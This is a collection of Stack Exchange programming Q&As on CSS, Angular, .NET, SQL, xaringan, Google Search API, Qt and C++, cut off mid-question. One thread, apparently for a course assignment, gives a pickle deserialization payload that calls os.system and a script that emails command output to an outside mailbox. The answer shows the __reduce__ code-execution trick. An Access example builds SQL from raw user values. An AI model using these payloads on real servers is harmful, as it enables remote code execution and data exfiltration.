问:
Making header the size of content
Probably impossible and stupid questions but since I'm still in my first weeks of learning there might be an anwer to this question in this CodePen:

https://codepen.io/indiehjaerta/pen/bYPqwX

    .pricingalternative
{
    background-color: #FFFFFF;
    border: .1em solid #000000;
    margin-top: .5em;
    margin-bottom: .5em;
}

.pricingalternative ~ .pricingalternative
{
    margin-left: 1em;
}

.pricingtable
{
    border: .1em solid #000000;
    border-collapse: collapse;
    overflow: hidden;
}

.pricingtable td
{
    border: .1em solid #000000;
    padding: .5em 1em;
}

.flex
{
    display: flex;
    justify-content: center;
    flex-wrap: wrap;
  align-items: strech;
}
.section-header
{
    background-color: #FFFFFF;
    display: flex;
    justify-content: center;
    margin-bottom: 1em;
    padding: .5em;
    border: 1em solid #000000;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code> <main class="main-padding main-pricing">
        <section class="section-header shadow">
            <h2>LIPSUM</h2>
        </section>

        <div class="pricing flex">
            <div class="pricingmargin pricingalternative shadow">
                <table class="pricingtable">
                    <thead>
                        <tr>
                            <th>Ipsum</th>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            <td>Lorem Ipsum is simply dummy text</td>
                        </tr>
                        <tr>
                            <td>Lorem Ipsum is simply dummy text</td>
                        </tr>
                        <tr>
                            <td></td>
                        </tr>
                        <tr>
                            <td></td>
                        </tr>
                    </tbody>
                </table>
            </div>

            <div class="pricingalternative shadow">
                <table class="pricingtable">
                    <thead>
                        <tr>
                            <th>Ipsum</th>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            <td>Lorem Ipsum is simply dummy text</td>
                        </tr>
                        <tr>
                            <td>Lorem Ipsum is simply dummy text</td>
                        </tr>
                        <tr>
                            <td></td>
                        </tr>
                        <tr>
                            <td></td>
                        </tr>
                    </tbody>
                </table>
            </div>

            <div class="pricingalternative shadow">
                <table class="pricingtable">
                    <thead>
                        <tr>
                            <th>Ipsum</th>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            <td> Lorem Ipsum is simply dummy text</td>
                        </tr>
                        <tr>
                            <td>Lorem Ipsum is simply dummy text</td>
                        </tr>
                        <tr>
                            <td>Lorem Ipsum is simply dummy text</td>
                        </tr>
                        <tr>
                            <td>Lorem Ipsum is simply dummy text</td>
                        </tr>
                    </tbody>
                </table>
            </div>
        </div></code>```

What I want to know if there is some way to make it so that pricing header will be the same size of the divs coming, in extension I will need to make it so that it fits on smaller screens to when there is

EDIT: I've accepted an answer but if there is a way which I highly doubt to even fix this: http://prntscr.com/hkkbm1 when there is 2 to make the header the width of columns. I'd gladly accept that too.

答:
Try this:

CSS:

```<code>.pricingalternative
{
    background-color: #FFFFFF;
    border: .1em solid #000000;
    margin-top: .5em;
    margin-bottom: .5em;
}

.pricingalternative ~ .pricingalternative
{
    margin-left: 1em;
}

.pricingtable
{
    border: .1em solid #000000;
    border-collapse: collapse;
    overflow: hidden;
}

.pricingtable td
{
    border: .1em solid #000000;
    padding: .5em 1em;
}

.flex_parent,
.flex_child
{
    display: flex;
    justify-content: center;
    flex-wrap: wrap;
    align-items: strech;
}
.section-header
{
    background-color: #FFFFFF;
    display: flex;
    justify-content: center;
    margin-bottom: 1em;
    padding: .5em;
    border: 1em solid #000000;
}
</code>```

HTML:

```<code><div class="flex_parent">

<main class="main-padding main-pricing">
    <section class="section-header shadow">
        <h2>LIPSUM</h2>
    </section>

    <div class="flex_child">
        <div class="pricingmargin pricingalternative shadow">
            <table class="pricingtable">
                <thead>
                    <tr>
                        <th>Standard</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                </tbody>
            </table>
        </div>

        <div class="pricingalternative shadow">
            <table class="pricingtable">
                <thead>
                    <tr>
                        <th>Premium</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                </tbody>
            </table>
        </div>

        <div class="pricingalternative shadow">
            <table class="pricingtable">
                <thead>
                    <tr>
                        <th>Exclusive</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                </tbody>
            </table>
        </div>
    </div>
</div>
</code>```

Title: Making header the size of content

Body:
Probably impossible and stupid questions but since I'm still in my first weeks of learning there might be an anwer to this question in this CodePen:

https://codepen.io/indiehjaerta/pen/bYPqwX

    .pricingalternative
{
    background-color: #FFFFFF;
    border: .1em solid #000000;
    margin-top: .5em;
    margin-bottom: .5em;
}

.pricingalternative ~ .pricingalternative
{
    margin-left: 1em;
}

.pricingtable
{
    border: .1em solid #000000;
    border-collapse: collapse;
    overflow: hidden;
}

.pricingtable td
{
    border: .1em solid #000000;
    padding: .5em 1em;
}

.flex
{
    display: flex;
    justify-content: center;
    flex-wrap: wrap;
  align-items: strech;
}
.section-header
{
    background-color: #FFFFFF;
    display: flex;
    justify-content: center;
    margin-bottom: 1em;
    padding: .5em;
    border: 1em solid #000000;
}

LIPSUM

                            Ipsum

                            Lorem Ipsum is simply dummy text

                            Lorem Ipsum is simply dummy text

                            Ipsum

                            Lorem Ipsum is simply dummy text

                            Lorem Ipsum is simply dummy text

                            Ipsum

                             Lorem Ipsum is simply dummy text

                            Lorem Ipsum is simply dummy text

                            Lorem Ipsum is simply dummy text

                            Lorem Ipsum is simply dummy text

What I want to know if there is some way to make it so that pricing header will be the same size of the divs coming, in extension I will need to make it so that it fits on smaller screens to when there is

EDIT: I've accepted an answer but if there is a way which I highly doubt to even fix this: http://prntscr.com/hkkbm1 when there is 2 to make the header the width of columns. I'd gladly accept that too.

Body:
Try this:

CSS:

.pricingalternative
{
    background-color: #FFFFFF;
    border: .1em solid #000000;
    margin-top: .5em;
    margin-bottom: .5em;
}

.pricingalternative ~ .pricingalternative
{
    margin-left: 1em;
}

.pricingtable
{
    border: .1em solid #000000;
    border-collapse: collapse;
    overflow: hidden;
}

.pricingtable td
{
    border: .1em solid #000000;
    padding: .5em 1em;
}

.flex_parent,
.flex_child
{
    display: flex;
    justify-content: center;
    flex-wrap: wrap;
    align-items: strech;
}
.section-header
{
    background-color: #FFFFFF;
    display: flex;
    justify-content: center;
    margin-bottom: 1em;
    padding: .5em;
    border: 1em solid #000000;
}

HTML:

<div class="flex_parent">

<main class="main-padding main-pricing">
    <section class="section-header shadow">
        <h2>LIPSUM</h2>
    </section>

    <div class="flex_child">
        <div class="pricingmargin pricingalternative shadow">
            <table class="pricingtable">
                <thead>
                    <tr>
                        <th>Standard</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                </tbody>
            </table>
        </div>

        <div class="pricingalternative shadow">
            <table class="pricingtable">
                <thead>
                    <tr>
                        <th>Premium</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                    <tr>
                        <td></td>
                    </tr>
                </tbody>
            </table>
        </div>

        <div class="pricingalternative shadow">
            <table class="pricingtable">
                <thead>
                    <tr>
                        <th>Exclusive</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                    <tr>
                        <td>Lorem Ipsum is simply dummy text</td>
                    </tr>
                </tbody>
            </table>
        </div>
    </div>
</div>


来源: stackexchange

问:
Navigate to another route from a service
I have service that intercepts all my Http requests so I can check if the user's token is valid or not. When a Http response is 401, I want the current user to be logged out of the application:

```<code>import { Http, ConnectionBackend, RequestOptions, RequestOptionsArgs, Request, Response } from '@angular/http'
import { Router } from '@angular/router'
import { Observable } from 'rxjs/Observable'
import { Injectable } from '@angular/core'
import { Config } from './shared/config'
import { RouterExtensions } from 'nativescript-angular/router'
import 'rxjs/add/observable/throw'

@Injectable()
export class RequestInterceptorService extends Http {
    private config: Config = new Config()

    constructor(
        backend: ConnectionBackend,
        defaultOptions: RequestOptions,
        private router: Router,
        private routerExtensions: RouterExtensions,
    ) {
        super(backend, defaultOptions)
    }

    request(url: string | Request, options?: RequestOptionsArgs): Observable<Response> {
        return this.intercept(super.request(url, options))
    }

    intercept(observable: Observable<Response>): Observable<Response> {
        return observable.catch((err, source) => {
            if (err.status === 401) {
                this.logout()
                return Observable.empty()
            } else {
                return Observable.throw(err)
            }
        })
    }

    logout() {
        this.config.clear()

        this.routerExtensions.navigate(["/signin"], {
            clearHistory: true
        })
    }
}
</code>```

My issue is that router or routerExtensions are always undefined, so I can't really redirect the user to any other path at all using this service.

答:
So, I found the solution. It was just a mater of understanding all of what I was doing.

I created a RequestInterceptor service that extends Http module. It includes a interceptor that checks if the status code is equal to 401. In order to make it compatible with my project, I decided to provide it as  custom implementation of Http. The following code on my @NgModule does just that:

```<code>providers: [
    {
        provide: Http,
        useClass: RequestInterceptorService
    }
]
</code>```

But the thing RequestInterceptorService does not have access to Http dependencies: ConnectionBackend and RequestOptions, so I had to inject them using the deps property, which is an array where I can identify an array of dependencies that will get injected. In my case, I need to inject not only the dependencies that Http requires (XHRBackend, RequestOptions), but also the one that my service will use: RouterExtensions.

My providers declaration looks like this:

```<code>providers: [
    {
        provide: Http,
        useClass: RequestInterceptorService,
        deps: [XHRBackend, RequestOptions, RouterExtensions]
    }
]
</code>```

After doing this, I was able to successfully redirect a user to the login page when a 401 status code is returned from any request.

ContentLicense: CC BY-SA 3.0

Body:
I have service that intercepts all my Http requests so I can check if the user's token is valid or not. When a Http response is 401, I want the current user to be logged out of the application:

import { Http, ConnectionBackend, RequestOptions, RequestOptionsArgs, Request, Response } from '@angular/http'
import { Router } from '@angular/router'
import { Observable } from 'rxjs/Observable'
import { Injectable } from '@angular/core'
import { Config } from './shared/config'
import { RouterExtensions } from 'nativescript-angular/router'
import 'rxjs/add/observable/throw'

@Injectable()
export class RequestInterceptorService extends Http {
    private config: Config = new Config()

    constructor(
        backend: ConnectionBackend,
        defaultOptions: RequestOptions,
        private router: Router,
        private routerExtensions: RouterExtensions,
    ) {
        super(backend, defaultOptions)
    }

    request(url: string | Request, options?: RequestOptionsArgs): Observable<Response> {
        return this.intercept(super.request(url, options))
    }

    intercept(observable: Observable<Response>): Observable<Response> {
        return observable.catch((err, source) => {
            if (err.status === 401) {
                this.logout()
                return Observable.empty()
            } else {
                return Observable.throw(err)
            }
        })
    }

    logout() {
        this.config.clear()

        this.routerExtensions.navigate(["/signin"], {
            clearHistory: true
        })
    }
}

My issue is that router or routerExtensions are always undefined, so I can't really redirect the user to any other path at all using this service.

Body:
So, I found the solution. It was just a mater of understanding all of what I was doing.

I created a RequestInterceptor service that extends Http module. It includes a interceptor that checks if the status code is equal to 401. In order to make it compatible with my project, I decided to provide it as  custom implementation of Http. The following code on my @NgModule does just that:

providers: [
    {
        provide: Http,
        useClass: RequestInterceptorService
    }
]

But the thing RequestInterceptorService does not have access to Http dependencies: ConnectionBackend and RequestOptions, so I had to inject them using the deps property, which is an array where I can identify an array of dependencies that will get injected. In my case, I need to inject not only the dependencies that Http requires (XHRBackend, RequestOptions), but also the one that my service will use: RouterExtensions.

My providers declaration looks like this:

providers: [
    {
        provide: Http,
        useClass: RequestInterceptorService,
        deps: [XHRBackend, RequestOptions, RouterExtensions]
    }
]

After doing this, I was able to successfully redirect a user to the login page when a 401 status code is returned from any request.


问:
Apparent Memory Leak in DataGridView
How do you force a DataGridView to release its reference to a bound DataSet?

We have a rather large dataset being displayed in a DataGridView and noticed that resources were not being freed after the DataGridView was closed.  If the user repeatedly views this report they eventually get an out of memory exception.  ANTS Memory Profiler confirmed that the DGV is holding a reference despite dgv.DataSource being set to null.

答: We've seen this behavior with datagridviews that have a datasource that contains a lot of images where the datagridview gets loaded repeatedly. Setting the DataSource for the datagridview to null and doing a Dispose on the datasource and a GC.Collect prior to each load seems to handle the leak.</p>

ContentLicense: CC BY-SA 2.5

Title: Apparent Memory Leak in DataGridView


问:
Pickle Exploiting
I have an assignment to send a pickle file to a server which unpickles anything sent to it.  My plan is to have it email me back the ls command printed out.  I have this file:

```<code>import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()
</code>```

How can I get the server to run this?  I am trying to send a file like:

```<code>cos
system
(S''
tR.
</code>```

with the python script in the ' '.

I was thinking something like:

```<code>cos
system
(S'python\n import smptlib\n ...'
tR.
</code>```

but it doesn't execute the commands.  How can I make it execute the python?

I've tried on my own computer and the python sends the email fine.

答:
Do whatever friendlyness you want to do in the __reduce__ method. Please don't be evil.

```<code>import pickle

class Friendly:
    def __reduce__(self):
        return (self.friendly, ('executing friendly code',))

    @staticmethod
    def friendly(x):
        print(x)

pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))
</code>```

->

$ python friendly.py

loading ...

executing friendly code

Title: Pickle Exploiting

Body:
I have an assignment to send a pickle file to a server which unpickles anything sent to it.  My plan is to have it email me back the ls command printed out.  I have this file:

import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()

How can I get the server to run this?  I am trying to send a file like:

cos
system
(S''
tR.

with the python script in the ' '.

I was thinking something like:

cos
system
(S'python\n import smptlib\n ...'
tR.

but it doesn't execute the commands.  How can I make it execute the python?

I've tried on my own computer and the python sends the email fine.

Body:
Do whatever friendlyness you want to do in the __reduce__ method. Please don't be evil.

import pickle

class Friendly:
    def __reduce__(self):
        return (self.friendly, ('executing friendly code',))

    @staticmethod
    def friendly(x):
        print(x)

pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))

->

$ python friendly.py

loading ...

executing friendly code

ContentLicense: CC BY-SA 4.0


问:
SQL Syntax Error On Access DB Insert
I don't know what I am missing but I keep getting syntax errors on insert for my access database. Here is the code I am using:

```<code>string sql = "INSERT INTO Users (FirstName, LastName, BirthDate, Username,
                   Password) VALUES ('{0}','{1}','{2}','{3}','{4}');";
string sqlF = String.Format(sql, f, l, dob.ToString("MM/dd/yyyy"), u, Encrypt(p));
MessageBox.Show(sqlF);
OleDbConnection conn = DBConn(_BudgetMainDB, _BudgetMainPass);
OleDbCommand cmd = conn.CreateCommand();
conn.Open();
cmd.CommandText = sqlF;
cmd.Connection = conn;
cmd.ExecuteScalar();
</code>```

Here are images of my database and syntax

答: Figured it out Password is a reserved word so i have to put it in brackets. dumb mistake :/</p>

Title: SQL Syntax Error On Access DB Insert

Body:
I don't know what I am missing but I keep getting syntax errors on insert for my access database. Here is the code I am using:

string sql = "INSERT INTO Users (FirstName, LastName, BirthDate, Username,
                   Password) VALUES ('{0}','{1}','{2}','{3}','{4}');";
string sqlF = String.Format(sql, f, l, dob.ToString("MM/dd/yyyy"), u, Encrypt(p));
MessageBox.Show(sqlF);
OleDbConnection conn = DBConn(_BudgetMainDB, _BudgetMainPass);
OleDbCommand cmd = conn.CreateCommand();
conn.Open();
cmd.CommandText = sqlF;
cmd.Connection = conn;
cmd.ExecuteScalar();

Here are images of my database and syntax


问:
How to change content position when in full screen mode for xaringan slides
I am recording a video that will put myself and the xaringan slides side by side. Therefore, I would like to float the container of the slides to the right side so that I will have space to stand at the left.

Here is an example slide:

```<code>---
title: "Incremental Slides with xaringan / remark.js"
author: "Yihui Xie"
date: "2017/08/31"
output:
  xaringan::moon_reader:
    css: ["test.css", "default", "default-fonts"]
    lib_dir: libs
    nature:
      countIncrementalSlides: false
      ratio: '16:9'
---

```{r setup, include=FALSE}
options(htmltools.dir.version = FALSE)
```

# Three ways to build incremental slides

In remark.js, you may use
</code>```

And here is the CSS code I tried to move the container to right:

```<code>html.remark-container, body.remark-container {
  width: 93%;
  float: right;
}

.remark-container:-webkit-full-screen {
  width: 93%;
  height: 100%;
  float: right;
}
</code>```

After rending the slides, the position is what I want when it is NOT in full screen. But after enter the presentation or full screen mode, the container is centered and I do not know how to move it to the right side. Any ideas? Thanks!

And here is my session information:

```<code>R version 3.4.2 Patched (2017-10-01 r73429)
Platform: x86_64-apple-darwin15.6.0 (64-bit)
Running under: macOS High Sierra 10.13.1

Matrix products: default
BLAS: /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib
LAPACK: /Library/Frameworks/R.framework/Versions/3.4/Resources/lib/libRlapack.dylib

locale:
[1] en_US.UTF-8/en_US.UTF-8/en_US.UTF-8/C/en_US.UTF-8/en_US.UTF-8

attached base packages:
[1] stats     graphics  grDevices utils     datasets  methods   base

loaded via a namespace (and not attached):
 [1] compiler_3.4.2  backports_1.1.1 magrittr_1.5    rsconnect_0.8   rprojroot_1.2   htmltools_0.3.6 tools_3.4.2     xaringan_0.4.4
 [9] yaml_2.1.14     Rcpp_0.12.13.2  stringi_1.1.5   rmarkdown_1.7   knitr_1.17.9    stringr_1.2.0   digest_0.6.12   evaluate_0.10.1
</code>```

答:
You should inspect the CSS classes when your slides is fullscreen. My guess is that the class names might be different.

I don't have time to answer your question directly, but here is an indirect answer. The two key pieces are: (1) you can embed a video through your camera using the navigator.getUserMedia() API, e.g.,

```<code><video autoplay id="webcam" width="200" height="200" style="position:absolute;top:0;right:0;z-index:100;cursor:move;" draggable="true"></video>

<script>
(function() {
  if (/remark-presenter-mode/.test(document.body.className)) return;

  // http://www.html5rocks.com/en/tutorials/getusermedia/intro/
  navigator.getUserMedia_ = navigator.getUserMedia || navigator.webkitGetUserMedia ||
    navigator.mozGetUserMedia || navigator.msGetUserMedia;
  if (!navigator.getUserMedia_) return;

  navigator.getUserMedia_({video: true, audio: false}, function(stream) {
    var video = document.getElementById('webcam');
    video.src = window.URL.createObjectURL(stream);
  }, function(e) {});
</script>
</code>```

(2) You can include this HTML fragment in xaringan slides through the includes option (after_body sub-option). Or simply copy and paste into your Rmd source document (I didn't test the latter way).

Body:
I am recording a video that will put myself and the xaringan slides side by side. Therefore, I would like to float the container of the slides to the right side so that I will have space to stand at the left.

Here is an example slide:

---
title: "Incremental Slides with xaringan / remark.js"
author: "Yihui Xie"
date: "2017/08/31"
output:
  xaringan::moon_reader:
    css: ["test.css", "default", "default-fonts"]
    lib_dir: libs
    nature:
      countIncrementalSlides: false
      ratio: '16:9'
---

```{r setup, include=FALSE}
options(htmltools.dir.version = FALSE)
```

# Three ways to build incremental slides

In remark.js, you may use

And here is the CSS code I tried to move the container to right:

html.remark-container, body.remark-container {
  width: 93%;
  float: right;
}

.remark-container:-webkit-full-screen {
  width: 93%;
  height: 100%;
  float: right;
}

After rending the slides, the position is what I want when it is NOT in full screen. But after enter the presentation or full screen mode, the container is centered and I do not know how to move it to the right side. Any ideas? Thanks!

And here is my session information:

R version 3.4.2 Patched (2017-10-01 r73429)
Platform: x86_64-apple-darwin15.6.0 (64-bit)
Running under: macOS High Sierra 10.13.1

Matrix products: default
BLAS: /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib
LAPACK: /Library/Frameworks/R.framework/Versions/3.4/Resources/lib/libRlapack.dylib

locale:
[1] en_US.UTF-8/en_US.UTF-8/en_US.UTF-8/C/en_US.UTF-8/en_US.UTF-8

attached base packages:
[1] stats     graphics  grDevices utils     datasets  methods   base

loaded via a namespace (and not attached):
 [1] compiler_3.4.2  backports_1.1.1 magrittr_1.5    rsconnect_0.8   rprojroot_1.2   htmltools_0.3.6 tools_3.4.2     xaringan_0.4.4
 [9] yaml_2.1.14     Rcpp_0.12.13.2  stringi_1.1.5   rmarkdown_1.7   knitr_1.17.9    stringr_1.2.0   digest_0.6.12   evaluate_0.10.1

Body:
You should inspect the CSS classes when your slides is fullscreen. My guess is that the class names might be different.

I don't have time to answer your question directly, but here is an indirect answer. The two key pieces are: (1) you can embed a video through your camera using the navigator.getUserMedia() API, e.g.,

<video autoplay id="webcam" width="200" height="200" style="position:absolute;top:0;right:0;z-index:100;cursor:move;" draggable="true"></video>

<script>
(function() {
  if (/remark-presenter-mode/.test(document.body.className)) return;

  // http://www.html5rocks.com/en/tutorials/getusermedia/intro/
  navigator.getUserMedia_ = navigator.getUserMedia || navigator.webkitGetUserMedia ||
    navigator.mozGetUserMedia || navigator.msGetUserMedia;
  if (!navigator.getUserMedia_) return;

  navigator.getUserMedia_({video: true, audio: false}, function(stream) {
    var video = document.getElementById('webcam');
    video.src = window.URL.createObjectURL(stream);
  }, function(e) {});
</script>

(2) You can include this HTML fragment in xaringan slides through the includes option (after_body sub-option). Or simply copy and paste into your Rmd source document (I didn't test the latter way).


问:
Google Custom Search API start=100 causes error 400
I have a script that uses Google Custom Search API, iterating through multiple results pages.

```<code>https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=0&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com

https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=10&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com

https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=20&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com
</code>```

In all of the above examples, I get proper responses. The query response claims that there are 17,900 results to the search.
When the script reaches start=100, however:

```<code>https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=100&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com
</code>```

I receive the following response (this is the JSON response transformed into a PHP object):

```<code>stdClass Object (
        [error] => stdClass Object
            (
                [errors] => Array
                    (
                        [0] => stdClass Object
                            (
                                [domain] => global
                                [reason] => invalid
                                [message] => Invalid Value
                            )
                    )
                [code] => 400
                [message] => Invalid Value
            ) )
</code>```

This is despite the fact that the results I receive in start=90 claim that the next page exists:

```<code>"nextPage": [
   {
    "title": "Google Custom Search - \"bank\"",
    "totalResults": "17900",
    "searchTerms": "\"bank\"",
    "count": 10,
    "startIndex": 100,
    "inputEncoding": "utf8",
    "outputEncoding": "utf8",
    "safe": "off",
    "cx": "[[CX VALUE]]",
    "sort": "date",
    "googleHost": "www.google.com",
    "hl": "en"
   }
  ]
</code>```

Playing around with the API shows that this invalid value error appears exactly when start=92.
Furthermore, this is the exact page where this error appears for every keyword search.
Any help with the issue would be appreciated. Is this because this is a free version of Google Custom Search?

答:
This info is not at all easy to find, and I found it mentioned officially in only one place on google.com.  I found a single line in the Custom Search JSON API docs describing the nextPage response element:

Note: This API returns up to the first 100 results only.

There is no mention of this being limited to the free API only.  I also found user reports confirming that the limit applies even if you sign up for billing, eg see this related SO question and the linked blog post.

OTOH the 100 queries/day limit (as opposed to the results limit you are seeing) is well documented, and there is info about how to bypass that everywhere (by signing up for billing, of course).

Body:
I have a script that uses Google Custom Search API, iterating through multiple results pages.

https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=0&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com

https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=10&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com

https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=20&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com

In all of the above examples, I get proper responses. The query response claims that there are 17,900 results to the search.
When the script reaches start=100, however:

https://www.googleapis.com/customsearch/v1?key=[[KEY]]&num=10&hl=en&start=100&cx=[[CX]]&q=%22bank%22&sort=date&googlehost=www.google.com

I receive the following response (this is the JSON response transformed into a PHP object):

stdClass Object (
        [error] => stdClass Object
            (
                [errors] => Array
                    (
                        [0] => stdClass Object
                            (
                                [domain] => global
                                [reason] => invalid
                                [message] => Invalid Value
                            )
                    )
                [code] => 400
                [message] => Invalid Value
            ) )

This is despite the fact that the results I receive in start=90 claim that the next page exists:

"nextPage": [
   {
    "title": "Google Custom Search - \"bank\"",
    "totalResults": "17900",
    "searchTerms": "\"bank\"",
    "count": 10,
    "startIndex": 100,
    "inputEncoding": "utf8",
    "outputEncoding": "utf8",
    "safe": "off",
    "cx": "[[CX VALUE]]",
    "sort": "date",
    "googleHost": "www.google.com",
    "hl": "en"
   }
  ]

Playing around with the API shows that this invalid value error appears exactly when start=92.
Furthermore, this is the exact page where this error appears for every keyword search.
Any help with the issue would be appreciated. Is this because this is a free version of Google Custom Search?


问:
Writing a custom Qt Location GeoServices plugin to use geo-referenced image file as map source
I'm currently working on a Qt Quick application that will provide a map viewer for a smallish area (1 square KM or so), the map details for which will be provided in a single geo-referenced image file (GeoTIFF, geo-referenced PDF, ESRI Shape file etc.), along with display of current location, operator identified points of interest etc. It's primarily responsibility is the display of custom maps (as opposed to generic maps retrieved from public map image service providers (OSM, MabBox, ESRI etc)), and it will often be used in areas with limited connectivity

An extensive web search has identified others who have made similar enquiries in the past (here, Qt forums etc), and the general suggestions for solutions are as follows:

ArcGIS Runtime with Qt SDK Doesn't work for me as down the track I'm intending to target an embedded linux device using an ARM processor, and ArcGIS doesn't make source available for cross-compilation for arbitrary targets. They've recently produced an Android release, but nothing for ARM linux in general)

QGIS developer libraries GPL licence not compatible with my commercial development

Use the Qt Location Map component with a local tile server or offline tile collection (some plugins have recently introduced support for this) Seems a bit of a hack, as noted I'm primarily using custom maps, as opposed to offline copies of public map server images, and my images won't be big enough to really warrant tiling otherwise

It would be feasible to develop a Qt Quick component from scratch to do this, but given that the existing Qt Location Map component provides a well defined pre-existing front end interface for everything my map would need to do and has an extendable plugin based architecture, writing a custom Qt Location GeoServices plugin seems the most sensible and elegant way forward.

I've started examining the source code of the existing plugins, but can't shake the feeling that in a world containing 8 billion people, with "nothing new under the sun", this would have been done already if it was a good idea....

Would anyone with more familiarity with the Qt Location module care to comment?

答:
Based upon Paul's response, and a couple of similar responses to the same enquiry on Qt forums and mailing lists, plus my own investigation, I'd conclude the following:

Generating a custom Qt Location GeoServices plugin to directly provide map imagery from a geo-referenced image file would not be a great idea as the implementation would be less than straightforward, and in practice any non-trivial map image would likely be large enough that an initial tiling step, followed by use of one of the standard tiled mapping plugins referencing a local tile set would be more appropriate anyway.


问:
Why does constexpr attribute not work when applied to a static method?
Consider this trivial test code:

```<code>class Test
{
public:
   Test() {/* empty */}

private:
   enum {BLAH = 42};

   static constexpr int Magic() {return BLAH*4;}

   float f[Magic()];
};

int main(int argc, char ** argv)
{
   Test t;
   return 0;
}
</code>```

When I try to compile it (under MacOS/X using clang++ from the latest XCode), I get this compiler error:

```<code>Jeremys-Mac-Pro:~ jaf$ clang++ -std=c++11 ./test.cpp
./test.cpp:11:14: error: fields must have a constant size: 'variable length
      array in structure' extension will never be supported
       float f[Magic()];
</code>```

Can anyone explain why this is an error?  For comparison, if I move the Magic() method out of the Test class and make it a free-standing function, it compiles as expected, but I don't really want to do that because I want to keep Magic() and BLAH private to the Test class if possible.

(Note:  I'm not trying to use variable-length arrays here; rather I'm trying to declare an array whose size is determined by the computation of a function at compile-time)

答:
It's because functions within a class aren't processed until the class is complete.  This rule allows a function defined within a class to access members of that class that are defined later in the class than that function.  As a result, Magic() does not yet have a definition, so can't be evaluated at that moment of compile time.

This is correct behavior, though the error the various compilers generate are not helpful for understanding the problem.

The formal rules are in the C++ standard at [class.member]/6:

A class is considered a completely-defined object type (6.9) (or complete type) at the closing } of the class-specifier.  Within the class member-specification, the class is regarded as complete within function bodies, default arguments, noexcept-specifiers, and default member initializers (including such things in nested classes).  Otherwise it is regarded as incomplete within its own class member-specification.

Body:
Consider this trivial test code:

class Test
{
public:
   Test() {/* empty */}

private:
   enum {BLAH = 42};

   static constexpr int Magic() {return BLAH*4;}

   float f[Magic()];
};

int main(int argc, char ** argv)
{
   Test t;
   return 0;
}

When I try to compile it (under MacOS/X using clang++ from the latest XCode), I get this compiler error:

Jeremys-Mac-Pro:~ jaf$ clang++ -std=c++11 ./test.cpp
./test.cpp:11:14: error: fields must have a constant size: 'variable length
      array in structure' extension will never be supported
       float f[Magic()];

Can anyone explain why this is an error?  For comparison, if I move the Magic() method out of the Test class and make it a free-standing function, it compiles as expected, but I don't really want to do that because I want to keep Magic() and BLAH private to the Test class if possible.

(Note:  I'm not trying to use variable-length arrays here; rather I'm trying to declare an array whose size is determined by the computation of a function at compile-time)


问:
Boto3 folder sync under new S3 'folder'
So, before anyone tells me about the flat structure of S3, I already know, but the fact is you can create 'folders' in S3. My objective with this Python code is to create a new folder named using the date of running and appending the user's input to this (which is the createS3Folder function) - I then want to sync a folder in a local directory to this folder.

The problem is that my upload_files function creates a new folder in S3 that exactly emulates the folder structure of my local set up.

Can anyone suggest how I would just sync the folder into the newly created one without changing names?

```<code>import sys
import boto3
import datetime
import os

